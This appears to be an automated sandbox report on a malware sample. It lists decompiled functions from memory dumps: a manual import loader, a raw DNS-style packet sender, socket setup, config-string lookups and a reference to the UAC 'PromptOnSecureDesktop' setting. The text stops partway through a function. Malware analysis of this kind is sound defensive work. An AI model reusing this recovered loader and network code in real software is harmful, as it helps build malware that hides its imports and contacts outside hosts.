Uniqueness

Uniqueness Score: -1.00%

Function 02F0B461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 02F0B503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 02F0B512
SystemTimeToFileTime.KERNEL32(?,?), ref: 02F0B531
GetTimeZoneInformation.KERNEL32(?), ref: 02F0B579
wsprintfA.USER32 ref: 02F0B607

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 05bf68dc41bd1cd5ab9786089f3504370c7efdf1938911e469d82b8ec0654f13
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: 405110B1D0021CAACF14DFD5D8845FEBBB9BF48344F10856AE601B6250E7B94AC9DF98

Uniqueness

Uniqueness Score: -1.00%

Function 02F062B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 02F062EC
LoadLibraryA.KERNEL32(?), ref: 02F06313
GetProcAddress.KERNEL32(00000000,?), ref: 02F0639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 02F063EE

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: 898cd50c47d34f4c6cb6408d576aef59c27b1a25768da0525830fbeaecb384a4
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 7B418F71E00119AFEB14CF58C8C4BA9B7B8EF04394F158069EA25D73D0D771E961DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x74b043e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(74B043E8,00000000,?,74B043E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,74B043E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,74B043E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 02F0E77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 02F0DF55: GetCurrentThreadId.KERNEL32 ref: 02F0DFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,02F0A695), ref: 02F0E7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,02F0A695), ref: 02F0E7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,02F0A695), ref: 02F0E802

Strings

PromptOnSecureDesktop, xrefs: 02F0E829, 02F0E82E, 02F0E865, 02F0E884

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: 48b238f321650f5fde7cfe87b3c43402f6287bb6ce2d6801071f1d4ba08fb3e8
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: AE2147B1A003057AE2347B716C8DFAB3E4DDB547D0F100524FF09B51E2EAA5E450AAB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
